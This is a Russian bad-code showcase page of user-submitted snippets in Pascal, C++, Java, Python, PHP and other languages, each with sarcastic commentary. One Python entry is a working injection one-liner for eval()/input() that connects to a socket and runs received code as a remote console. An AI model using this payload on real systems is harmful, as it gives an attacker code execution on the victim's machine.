1. Лучший говнокод

    В номинации:
    За время:
  2. Pascal / Говнокод #12564

    +86

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    Function TMainForm.PrimGenerateMaze(Width, Height: Integer): Maze;
    
    Type Point = record
      x, y: Integer;
    end;
    
    Var
      TehMaze: Maze;
      Todo: array of Point;
      todonum: integer;
      x,y,n,d: integer;
    
    Const
      dx: array [0..3] of Integer = (0, 0, -1, 1);
      dy: array [0..3] of Integer = (-1, 1, 0, 0);
    
    BEGIN
      SetLength(TehMaze, Width, Height);
      SetLength(Todo, (Width * Height) - 1);
    
      For x:=0 to Width-1 do
        For y:=0 to Height-1 do
          If (x = 0) or (x = Width-1) or (y = 0) or (y = Height-1) then
            TehMaze[x][y]:=32
          Else TehMaze[x][y]:=63;
    
      Randomize;
      x := Random(Width-2)+1;
      y := Random(Height-2)+1;
      todonum := 0;
    
      TehMaze[x][y]:= TehMaze[x][y] and not 48; // Пометить клетку как принадлежащую лабиринту
    
       // Пока не обработаны все клетки
       Repeat
        Begin
           // Занести в список todo все ближайшие необработанные клетки
           For d:=0 to 3 do
               if (TehMaze[x + dx[d]][y + dy[d]] and 16) <> 0 then
               Begin
                 todo[todonum].x := x + dx[d];
                 todo[todonum].y := y + dy[d];
                 Inc(todonum);
                 TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not 16;
               End;
    
           // Выбрать из списка todo произвольную клетку
           n:= Random(todoNum);
           x:= ToDo[n].x;
           y:= ToDo[n].y;
    
           // Удалить из списка обработанную клетку
           Dec(todonum);
           ToDo[n]:= todo[todonum];
    
           // Выбрать направление, которое ведет к лабиринту
           Repeat
               d:=Random(4);
           Until ((TehMaze[x + dx[d]][y + dy[d]] and 32) = 0);
    
           // Присоединить выбранную клетку к лабиринту
           TehMaze[x][y] := TehMaze[x][y] and not ((1 shl d) or 32);
           TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not (1 shl (d xor 1));
        End;
       Until (todonum = 0);
    
       TehMaze[1][1] := TehMaze[1][1] and -2;                 // начало лабиринта - в левом верхнем углу
       TehMaze[Width-2][Height-2] := TehMaze[Width-2][Height-2] and not 2; // конец лабиринта - в правом нижнем углу
    
       Result := TehMaze;
    END;

    Генерация лабиринтов по алгоритму Прима.

    Govnocoder#0xFF, 10 Февраля 2013

    Комментарии (24)
  3. JavaScript / Говнокод #12550

    +161

    1. 1
    2. 2
    3. 3
    4. 4
    <form action="..." ...>
    ...
      <input type="button" ... onclick="$('form').submit();" />
    </form>

    Живет на свете один c# девелопер, который всегда всем говорит: "я не верстальщик - я c# девелопер. я не js программист - я c# девелопер" ну и т.д. И вот однажды он решил самостоятельно сделать функционал поиска...
    (На самом деле на стороне сервера еще гуще развивались события...но это уже другая история...) с серверным c# кодом вы можете ознакомится тут http://govnokod.ru/user/5616/codes

    mangyst, 07 Февраля 2013

    Комментарии (24)
  4. C++ / Говнокод #12529

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    #include <iostream>
    namespace detail
    {
      class CRWO;
      class CRO;
      class CWO;
      class CO;
    }
    typedef detail::CRWO&  CRWO;
    typedef detail::CRO&  CRO;
    typedef detail::CWO&  CWO;
    typedef detail::CO&  CO;
    class C
    {
        friend class detail::CRWO; 
        friend class detail::CRO; 
        friend class detail::CWO; 
        friend class detail::CO; 
      public:
        C( int a ) : value(a) {}
        ~C() {};
        operator CRWO() { return *static_cast<detail::CRWO*>(static_cast<void*>(this)); }
        operator CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
        operator CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
        operator CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
      private:
        void set( int newValue ) { value = newValue; }
        int get() { return value; }
      private:
        int value;
    };
    class detail::CRWO
    {
      public:
        void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
        int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
        operator ::CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
        operator ::CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
        operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }    
      private:
        CRWO(); CRWO(const CRWO&);~CRWO();CRWO& operator=(const CRWO&);void operator&(); void operator*();
    };
    class detail::CWO
    {
      public:
        void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
         operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }    
      private:
        CWO(); CWO(const CWO&);~CWO();CWO& operator=(const CWO&);void operator&(); void operator*();
    };
    class detail::CRO
    {
      public:
        int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
        operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }    
      private:
        CRO(); CRO(const CRO&);~CRO();CRO& operator=(const CRO&);void operator&(); void operator*();
    };
    class detail::CO
    {
      public:
      private:
        CO(); CO(const CO&);~CO();CO& operator=(const CO&);void operator&(); void operator*();
    };int main(int argc, char *argv[])
    {
    C c(3);
    CRWO rwo = c;
    CRO ro = c;
    CWO wo = c;
    CO o = c;
      std::cout  << rwo.get() << std::endl;
      wo.set( 5);
      std::cout  << ro.get() << std::endl;
    return 0;
    }

    Оттуда.

    Автор требует указывать авторство при копировании.

    LispGovno, 02 Февраля 2013

    Комментарии (24)
  5. C++ / Говнокод #12154

    +23

    1. 1
    2. 2
    typedef const AbstractParameter ConstAbstractParameter;
    class Parameter: public ConstAbstractParameter{

    GCC это не компилирует, но в 2008 ms vs компилируется без предупреждений. Я это как увидел, так сразу переписал на

    class Parameter: public AbstractParameter{

    А вот теперь я дома и не могу заснуть. Гложет чувство, что я поступил не правильно. Такое чувство как-будто этот const, пусть и не в рамках стандарта С++, но что-то он делал.

    LispGovno, 20 Ноября 2012

    Комментарии (24)
  6. Java / Говнокод #12010

    +95

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    import java.io.PrintStream;
    import java.util.concurrent.atomic.AtomicBoolean;
    
    public final class ShredingerCat
    extends AtomicBoolean
    {
    	static final PrintStream o=System.out;
    	static final long initMsec=System.currentTimeMillis ();
    	
    	public static final ShredingerCat	INSTANCE = new ShredingerCat();
    	private ShredingerCat ()
    	{
    		set ( false );
    		o.println ( "Construct SingleBool" );
    	}
    	public final
    	void criticalSection(){
    		synchronized (this) {
    			pr ( "Enter critical section" );
    			ShredingerCat.sl ( 5 );
    			
    			pr ( "Cat is " +(
    					get() 
    					? "dead"
    					: "alive"
    				)
    			);
    			sl(100);
    			pr ( "Exit critical section" );
    		}
    		
    	}
    	// ===================== HELPER STUFF ========================
    
    	static void pr(String s){
    		o.println ( s+(
    			System.currentTimeMillis ()- initMsec
    		));
    	}
    	static void sl(long l){
    		try {
    			Thread.sleep ( l );
    		}catch (InterruptedException e) {
    		}
    	}
    	
    
    
    }

    Обсуждение #11989 безопасных публикаций, конструкторов и синглтонов вдохновило меня на создание этого примера.
    Суть: есть кот-синглтон. Он как вы видите защищен со всех сторон finalами, приправленое к тому же Atomicом.
    Задание на серебряную медаль - сделать так чтобы 2 последовательных вызова toString() вывели Dead и Alive. Объект не должен меняться.
    Задание на золотую медаль: необходимо получить примерно такой вывод:
    Enter critical section0
    Enter critical section0
    Cat is alive16
    Cat is dead16
    Exit critical section110
    Exit critical section110

    За использование рефлексии и прочих unsafe - немедленная дисквалификация и бан модератором.
    Решение будет чуть позже. Отдельным постом.

    3.14159265, 26 Октября 2012

    Комментарии (24)
  7. 1C / Говнокод #11981

    −126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    1CClientBankExchange
    ВерсияФормата=1.01
    Кодировка=Windows
    Получатель=
    ДатаНачала=25.09.2012
    ДатаКонца=25.09.2012
    ...
    СекцияРасчСчет
    ...
    КонецРасчСчет
    СекцияДокумент=Платежное поручение
    ...
    КонецДокумента
    КонецФайла

    Формат файла: Стандарт обмена с системами "Клиент банка"
    http://v8.1c.ru/edi/edi_stnd/100/101.htm

    Пидорва изобрела ini-файлы. Но убило не это, а это:
    >Кодировка=Windows

    Centry, 24 Октября 2012

    Комментарии (24)
  8. Objective C / Говнокод #11953

    −105

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (indexPath.row==0 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==1 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==0 && indexPath.section==2) {
      // ...
    } else if (indexPath.section == 2 && indexPath.row == 1) {
      // ...
    }

    В оригинале еще и оформление кода абсолютно шизофреническое. Откуда только такие берутся?

    byss, 18 Октября 2012

    Комментарии (24)
  9. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  10. PHP / Говнокод #11916

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    <?php
    
       //You can even add more Dollar Signs
    
       $Bar = "a";
       $Foo = "Bar";
       $World = "Foo";
       $Hello = "World";
       $a = "Hello";
    
       $a; //Returns Hello
       $$a; //Returns World
       $$$a; //Returns Foo
       $$$$a; //Returns Bar
       $$$$$a; //Returns a
    
       $$$$$$a; //Returns Hello
       $$$$$$$a; //Returns World
    
       //... and so on ...//
    
    ?>

    Из комментов на http://www.php.net/manual/en/language.variables.variable.php

    xaionaro, 12 Октября 2012

    Комментарии (24)
  11. ActionScript / Говнокод #11722

    −86

    1. 1
    var file: * = File.userDirectory.resolvePath(CACHE_PATH + hashURL(key));

    На первый взгляд просто немного странный код, но за ним стоит интересная история.
    Человек написавший этот код после долгих расспросов и двузначных ответов таки сознался, что таким образом он надеялся избежать компиляции AIR классов в бразуерном проекте. Но интереснее еще и то, что человек продолжает в это свято верить и отстаивать свою точку зрения... а я уволился.
    Если вы не в курсе, Адоби делают несколько версий плееров, одна "ветка" предназначена для запуска с десктопа и ей можно обращаться к файловой системе, в то время как обычному плееру в браузере такое делать нельзя, ну или только после всяческих подтверждений и т.п. Человек таким образом пытлася написать кеширование загруженных картинок на диск к пользователю. Но тут судьба сыграла злую шутку, он компилировал все эти классы в библиотеку, которую забывал обновлять, и по счастливому стечению обстоятельств, библиотечный класс не содержал никаких упоминаний файловой системы - и все работало замечательно.

    Прогрнозируемый разрыв шаблона произойдет примерно недели через две-три, когда нужно будет обновлять версию. Ну, это конечно при условии, что кеширование каким-то образом будут тестировать, но, скорее всего не будут, и шутка может затянуться.

    wvxvw, 07 Сентября 2012

    Комментарии (24)